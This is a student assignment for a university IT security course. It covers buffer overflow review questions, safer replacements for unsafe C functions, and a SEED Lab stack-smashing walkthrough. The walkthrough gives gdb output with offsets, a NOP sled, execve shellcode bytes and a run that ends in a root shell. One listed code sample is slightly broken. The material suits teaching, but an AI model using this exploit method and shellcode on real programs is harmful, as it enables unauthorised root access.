IT-Sikkerhed, Assignment 2

ITS - 2021
Department of Computer Science
University of Copenhagen

M. Ali
M. Chleih

April 2, 2022

Review Questions

10.1 Define *buffer overflow*

A buffer overflow is a condition that occurs when a program stores more data into a buffer, exceeding the capacity allocated resulting in the overwriting of adjacent memory locations. Attackers can exploit this condition to crash a system or to insert malicious code that allows them to gain control of the system.

10.2 List the three distinct types of locations in a process address space that buffer overflow attacks typically target.

- Stack
- Heap
- Global Data Area

10.3 Why do modern high-level programming languages not suffer from buffer overflows?

Modern high-level languages have a strong notion of the type of variables and what constitutes permissible operations on them. Such languages do not permit more data to be saved into a buffer than it has space for. Additionally, the compiles for these languages include additional code to enforce range checks. In modern iterations of C, the programmer can make use of libraries that try to replace the unsafe standard library routines, to alleviate some of the vulnerabilities.

10.4 What is stack smashing?

Stack smashing is a stack buffer overflow attack that occurs when a program writes more data to a buffer located on the stack, than what is actually allocated for that buffer. The targeted buffer is usually a local variable in a function's stack frame.

Problems

10.1

- `gets()`: To avoid buffer overflows, `fgets()` should be used instead. The `fgets()` function stops when $n - 1$ characters are read from the stream, the newline character is read, or the end-of-file is reached. In this case n is the maximum number of characters to be read and is an argument passed into `fgets()`.

- `sprintf()`: This function is unsafe to use if do not know the size of the input, which results in it writing too much data into the destination buffer. For safety, `snprintf()` should be used since it can be supplied with an argument n that specifies the maximum number of characters to be read.

- `strcat()`: If the destination buffer is not large enough to accommodate the new string then a buffer overflow may arise. To avoid this, one should use `strncat()` because similarly to the previous functions, it will read at most n characters for `src`, also if `src` contains n or more bytes, `strncat()` writes $n + 1$ bytes to `dest`, i.e. n from `src` plus the terminating null byte.

- `strcpy()`: This function has the same problem as the `strcat()` function. A better option is to use `strncpy()` where at most n bytes of `src` are copied to `dest`.

- `vsprintf()`: This function shares the same security consern as the `sprintf()` function. Therefore, `snprintf()` should be used instead.

10.2

The `next_tag(str1)` function was removed and replaced by `gets(str1)`.
Execution:

```
PS C:\Users\Moe Ali\Desktop\its2> .\buffer1.exe
SECURITYSECURITY
SECURITYSECURITY
buffer1: str1(SECURITY☺), str2(SECURITYSECURITY☺), valid(1)
```

`str1` was overwritten by the 2nd `SECURITY` and `str2` did not only use the 8 characters allocated to it, but 9 more from `str1` including the null byte. The reason as to why the comparison is valid, `strncmp()` compares the first 8 characters from each buffer, which in this case is `"SECURITY" == "SECURITY" = TRUE`. The same effect could be achieved had we used `1234567812345678` or `abcdefghabcdefgh`.

10.3

Since a `main()` function was not provided, we made it ourselves:

```
#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
void hello(char *tag) {
    char inp[16];
    printf("Enter value for %s: ", tag);
    gets(inp);
    printf("Hello your %s is %s\n", tag, inp);
}

int main(int argc, char *argv[]) {
    hello("name");
}
```

Execute:

```
PS C:\Users\Moe Ali\Desktop\its2> .\buffer1.exe
Enter value for name: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
PS C:\Users\Moe Ali\Desktop\its2> .\buffer1.exe
Enter value for name: Computer Engineering
Hello your name is Computer Engineering
```

When we gave the long sequences of X's as input, the program crashed. When we gave `"Computer Engineering"` as input the program worked fine, which is odd considering that the string `"Computer Engineering"` is longer than the `inp` buffer which is only 16 characters. We may have made a mistake in the way we call the `hello()` function in the `main()` function.

10.11

```
/* record type to allocate on heap */
typedef struct chunk {
    char inp[64];
    void (*process)(char *);
} chunk_t;
void showlen(char *buf) {
    int len;
    len = strlen(buf);
    printf("buffer5 read %d chars\n", len);
}
int main(int argc, char *argv[]) {
    chunk_t *next;
    setbuf(stdin, NULL);
    next = malloc(sizeof(chunk_t));
    next->process = showlen;
    printf("Enter value: ");
    fgets(next->inp, 63);
    next->process(next->inp);
    printf("buffer5 done\n");
}
```

11.4

SEED Lab

After getting acquainted with the vulnerable program, we followed the instructions provided by the SEED Lab document in order to find the distance between the start of the buffer and the `ebp` register.

```
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ p $ebp
$1 = (void *) 0xffffc9d8
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffc96c
gdb-peda$ p/d 0xffffc9d8 - 0xffffc96c
$3 = 108
```

The result is 108, meaning the offset from 108 – 111 contains the `ebp` value. With that knowledge we can determine the offset for the `eip` is going to be at 112. The next to find is the return address. Initially, we left it as `0x0` and ran the program in the debugger. After the buffer has been overflown we can take a look at the stack pointer and pick a any random address. We picked the one that is highlighted below.

```
20          strcpy(buffer, str);
gdb-peda$ next
[----------------------------------registers-----------------------------------]
EAX: 0xffffc96c --> 0x90909090
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0xffffce70 --> 0x909090
EDX: 0xffffc9d9 --> 0x909090
ESI: 0xf7fb2000 --> 0x1e6d6c
EDI: 0xf7fb2000 --> 0x1e6d6c
EBP: 0xffffc9d8 --> 0x90909090
ESP: 0xffffc960 ("1pUV\364\315\377\377\220\325\377\367", '\220' <repeats 112 times>)
EIP: 0x565562d6 (<bof+41>:      mov    eax,0x1)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562cc <bof+31>: mov    ebx,eax
   0x565562ce <bof+33>: call   0x56556120 <strcpy@plt>
   0x565562d3 <bof+38>: add    esp,0x10
=> 0x565562d6 <bof+41>: mov    eax,0x1
   0x565562db <bof+46>: mov    ebx,DWORD PTR [ebp-0x4]
   0x565562de <bof+49>: leave
   0x565562df <bof+50>: ret
   0x565562e0 <main>:   endbr32
[------------------------------------stack-------------------------------------]
0000| 0xffffc960 ("1pUV\364\315\377\377\220\325\377\367", '\220' <repeats 112 times>)
0004| 0xffffc964 --> 0xffffcdf4 --> 0x205
0008| 0xffffc968 --> 0xf7ffd590 --> 0xf7fd1000 --> 0x464c457f
0012| 0xffffc96c --> 0x90909090
0016| 0xffffc970 --> 0x90909090
0020| 0xffffc974 --> 0x90909090
0024| 0xffffc978 --> 0x90909090
0028| 0xffffc97c --> 0x90909090
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
22          return 1;
gdb-peda$ x/517xb $esp
0xffffc960:     0x31    0x70    0x55    0x56    0xf4    0xcd    0xff    0xff
0xffffc968:     0x90    0xd5    0xff    0xf7    0x90    0x90    0x90    0x90
0xffffc970:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffc978:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffc980:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffc988:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffc990:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffc998:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffc9a0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffc9a8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffc9b0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
```

We then ran the program again and got a Segmentation Fault.

```
Reading symbols from stack-L1-dbg...
gdb-peda$ run
Starting program: /home/seed/Desktop/Labsetup/code/stack-L1-dbg
Input size: 517

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0x90909090
ECX: 0xffffd0ff --> 0xffd44eff
EDX: 0xffffcb69 --> 0xc031d231
ESI: 0xf7fb2000 --> 0x1e6d6c
EDI: 0xf7fb2000 --> 0x1e6d6c
EBP: 0x90909090
ESP: 0xffffc9e0 --> 0x90909090
EIP: 0xffffc9df --> 0x909090ff
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xffffc9da:  nop
   0xffffc9db:  nop
   0xffffc9dc:  or     cl,0xff
=> 0xffffc9df:  call   DWORD PTR [eax-0x6f6f6f70]
   0xffffc9e5:  nop
   0xffffc9e6:  nop
   0xffffc9e7:  nop
   0xffffc9e8:  nop
No argument
[------------------------------------stack-------------------------------------]
0000| 0xffffc9e0 --> 0x90909090
0004| 0xffffc9e4 --> 0x90909090
0008| 0xffffc9e8 --> 0x90909090
0012| 0xffffc9ec --> 0x90909090
0016| 0xffffc9f0 --> 0x90909090
0020| 0xffffc9f4 --> 0x90909090
0024| 0xffffc9f8 --> 0x90909090
0028| 0xffffc9fc --> 0x90909090
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0xffffc9df in ?? ()
```

We then took another look at the stack pointer and picked a memory address roughly in the middle of the NOP's. We picked the address `0xffffca90` which is now our return address. We can also see the address that points to the shellcode at `0xffffc56`

```
gdb-peda$ x/517xb $esp
0xffffc9e0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffc9e8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffc9f0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffc9f8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca00:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca08:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca10:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca18:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca20:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca28:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca30:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca38:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca40:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca48:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca50:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca58:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca60:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca68:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca70:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca78:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca80:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca88:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca90:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffca98:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcaa0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcaa8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcab0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcab8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcac0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcac8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcad0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcad8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcae0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcae8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcaf0:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcaf8:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcb00:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcb08:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcb10:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcb18:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcb20:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcb28:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcb30:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcb38:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcb40:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcb48:     0x90    0x90    0x90    0x90    0x90    0x90    0x90    0x90
0xffffcb50:     0x90    0x90    0x90    0x90    0x90    0x90    0x31    0xc0
0xffffcb58:     0x50    0x68    0x2f    0x2f    0x73    0x68    0x68    0x2f
0xffffcb60:     0x62    0x69    0x6e    0x89    0xe3    0x50    0x53    0x89
0xffffcb68:     0xe1    0x31    0xd2    0x31    0xc0    0xb0    0x0b    0xcd
0xffffcb70:     0x80    0x05    0x02    0x00    0x00    0x00    0x00    0x00
```

Running the program for the last time allowed us to spawn a terminal with root access:

```
[09/25/21]seed@VM:~/.../code$ ./exploit.py
[09/25/21]seed@VM:~/.../code$ ./stack-L1
Input size: 517
# whoami
root
#
```